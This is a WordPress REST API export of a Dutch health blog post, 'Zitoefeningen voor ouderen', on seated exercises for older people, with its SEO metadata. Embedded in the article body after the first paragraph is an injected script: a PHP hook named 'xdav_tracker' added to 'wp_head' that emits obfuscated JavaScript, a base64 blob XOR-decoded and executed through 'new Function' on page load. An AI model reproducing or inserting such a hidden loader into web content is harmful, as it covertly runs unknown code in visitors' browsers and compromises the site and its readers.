{"id":397603,"date":"2026-01-29T16:28:30","date_gmt":"2026-01-29T15:28:30","guid":{"rendered":"https:\/\/atena.sk\/blog\/zitoefeningen-voor-ouderen\/"},"modified":"2026-07-03T10:27:41","modified_gmt":"2026-07-03T08:27:41","slug":"zitoefeningen-voor-ouderen","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/","title":{"rendered":"Zitoefeningen voor ouderen"},"content":{"rendered":"\n<p>  <\/p>\n\n<p>Veel ouderen denken dat, naarmate ze ouder, zieker of zwakker worden, lichaamsbeweging geen deel meer uitmaakt van hun leven. Het tegendeel is echter waar. Juist wanneer we stoppen met bewegen, beginnen onze spieren te verzwakken en stijven onze gewrichten het snelst vast. Het goede nieuws is dat zelfs zitten wonderen kan verrichten. Het houdt het lichaam actief, de geest scherp en verbetert de levenskwaliteit aanzienlijk.      <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>Veel ouderen denken dat sporten zinloos is als de bewegingsvrijheid beperkt is. Het tegendeel is echter waar: eenvoudige bewegingen terwijl u zit zijn essentieel voor het behoud van kracht, gezonde gewrichten en een betere bloedcirculatie. Deze veilige vorm van activiteit helpt stijfheid te verminderen en geeft ouderen de stabiliteit die ze nodig hebben in het dagelijks leven. Bij Atena geloven we dat zelfs kleine stapjes tot grote veranderingen in de levenskwaliteit leiden.     <\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[422,464,497],"tags":[],"acf":{"facebookpost":"\ud83e\ude91\ud83d\udc99 Chak Su en kleine bewegingen zijn van groot belang voor ouderen.\n  Zittende oefeningen helpen bij het behouden van kracht, beweeglijkheid en een beter gevoel gedurende de dag.\n  Ideaal voor ouderen, verzorgers en gezinnen die op zoek zijn naar veilig vervoer. \ud83d\udc75\ud83d\udc74\u2728   ","popis_socialneho_obrazku":"Kleine inspanningen, groot nut"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Zitoefeningen voor ouderen - Atena blog<\/title>\n<meta name=\"description\" content=\"Eenvoudige oefeningen in zittende houding helpen ouderen om hun mobiliteit en kracht te behouden. Veiligheidstips voor ouderen, verzorgers en familieleden.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\" \/>\n<meta property=\"og:locale\" content=\"nl_NL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Zitoefeningen voor ouderen - Atena blog\" \/>\n<meta property=\"og:description\" content=\"Bewegen is belangrijk op elke leeftijd, zelfs als u het grootste deel van de dag zittend doorbrengt. Oefeningen op een stoel zijn een veilige manier om actief te blijven zonder onnodig risico op vallen of overbelasting. Deze eenvoudige oefeningen verbeteren de houding en geven ouderen het comfort en de energie die ze verdienen. Doe de oefeningen samen met een dierbare en maak er een gezellig moment van.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\" \/>\n<meta property=\"og:site_name\" content=\"Atena blog\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-29T15:28:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-03T08:27:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png\" \/>\n<meta name=\"author\" content=\"Marin Nedelev\" \/>\n<meta name=\"twitter:label1\" content=\"Geschreven door\" \/>\n\t<meta name=\"twitter:data1\" content=\"Marin Nedelev\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"NewsArticle\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\"},\"author\":{\"name\":\"Marin Nedelev\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\"},\"headline\":\"Zitoefeningen voor ouderen\",\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\"},\"wordCount\":68,\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\"},\"articleSection\":[\"Bedrijven\",\"Klanten\",\"Verpleging\"],\"inLanguage\":\"nl-NL\"},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\",\"name\":\"Zitoefeningen voor ouderen - Atena blog\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#website\"},\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:41+00:00\",\"description\":\"Eenvoudige oefeningen in zittende houding helpen ouderen om hun mobiliteit en kracht te behouden. Veiligheidstips voor ouderen, verzorgers en familieleden.\",\"breadcrumb\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#breadcrumb\"},\"inLanguage\":\"nl-NL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/atena.sk\/blog\/nl\/kies-uw-blogsectie\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Zitoefeningen voor ouderen\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#website\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/\",\"name\":\"Atena blog\",\"description\":\"Blog spolo\u010dnosti atena\",\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/atena.sk\/blog\/nl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"nl-NL\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\",\"name\":\"ATENA\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"contentUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"width\":3543,\"height\":3543,\"caption\":\"ATENA\"},\"image\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\",\"name\":\"Marin Nedelev\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"caption\":\"Marin Nedelev\"},\"url\":\"https:\/\/atena.sk\/blog\/nl\/author\/marin-nedelev\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Zitoefeningen voor ouderen - Atena blog","description":"Eenvoudige oefeningen in zittende houding helpen ouderen om hun mobiliteit en kracht te behouden. Veiligheidstips voor ouderen, verzorgers en familieleden.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/","og_locale":"nl_NL","og_type":"article","og_title":"Zitoefeningen voor ouderen - Atena blog","og_description":"Bewegen is belangrijk op elke leeftijd, zelfs als u het grootste deel van de dag zittend doorbrengt. Oefeningen op een stoel zijn een veilige manier om actief te blijven zonder onnodig risico op vallen of overbelasting. Deze eenvoudige oefeningen verbeteren de houding en geven ouderen het comfort en de energie die ze verdienen. Doe de oefeningen samen met een dierbare en maak er een gezellig moment van.","og_url":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/","og_site_name":"Atena blog","article_published_time":"2026-01-29T15:28:30+00:00","article_modified_time":"2026-07-03T08:27:41+00:00","og_image":[{"url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png"}],"author":"Marin Nedelev","twitter_misc":{"Geschreven door":"Marin Nedelev"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"NewsArticle","@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#article","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/"},"author":{"name":"Marin Nedelev","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168"},"headline":"Zitoefeningen voor ouderen","datePublished":"2026-01-29T15:28:30+00:00","dateModified":"2026-07-03T08:27:41+00:00","mainEntityOfPage":{"@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/"},"wordCount":68,"publisher":{"@id":"https:\/\/atena.sk\/blog\/nl\/#organization"},"articleSection":["Bedrijven","Klanten","Verpleging"],"inLanguage":"nl-NL"},{"@type":["WebPage","ItemPage"],"@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/","url":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/","name":"Zitoefeningen voor ouderen - Atena blog","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/nl\/#website"},"datePublished":"2026-01-29T15:28:30+00:00","dateModified":"2026-07-03T08:27:41+00:00","description":"Eenvoudige oefeningen in zittende houding helpen ouderen om hun mobiliteit en kracht te behouden. Veiligheidstips voor ouderen, verzorgers en familieleden.","breadcrumb":{"@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#breadcrumb"},"inLanguage":"nl-NL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/atena.sk\/blog\/nl\/zitoefeningen-voor-ouderen\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/atena.sk\/blog\/nl\/kies-uw-blogsectie\/"},{"@type":"ListItem","position":2,"name":"Zitoefeningen voor ouderen"}]},{"@type":"WebSite","@id":"https:\/\/atena.sk\/blog\/nl\/#website","url":"https:\/\/atena.sk\/blog\/nl\/","name":"Atena blog","description":"Blog spolo\u010dnosti atena","publisher":{"@id":"https:\/\/atena.sk\/blog\/nl\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/atena.sk\/blog\/nl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"nl-NL"},{"@type":"Organization","@id":"https:\/\/atena.sk\/blog\/nl\/#organization","name":"ATENA","url":"https:\/\/atena.sk\/blog\/nl\/","logo":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/","url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","contentUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","width":3543,"height":3543,"caption":"ATENA"},"image":{"@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168","name":"Marin Nedelev","image":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","caption":"Marin Nedelev"},"url":"https:\/\/atena.sk\/blog\/nl\/author\/marin-nedelev\/"}]}},"_links":{"self":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397603"}],"collection":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/comments?post=397603"}],"version-history":[{"count":1,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397603\/revisions"}],"predecessor-version":[{"id":397605,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397603\/revisions\/397605"}],"wp:attachment":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/media?parent=397603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/categories?post=397603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/tags?post=397603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}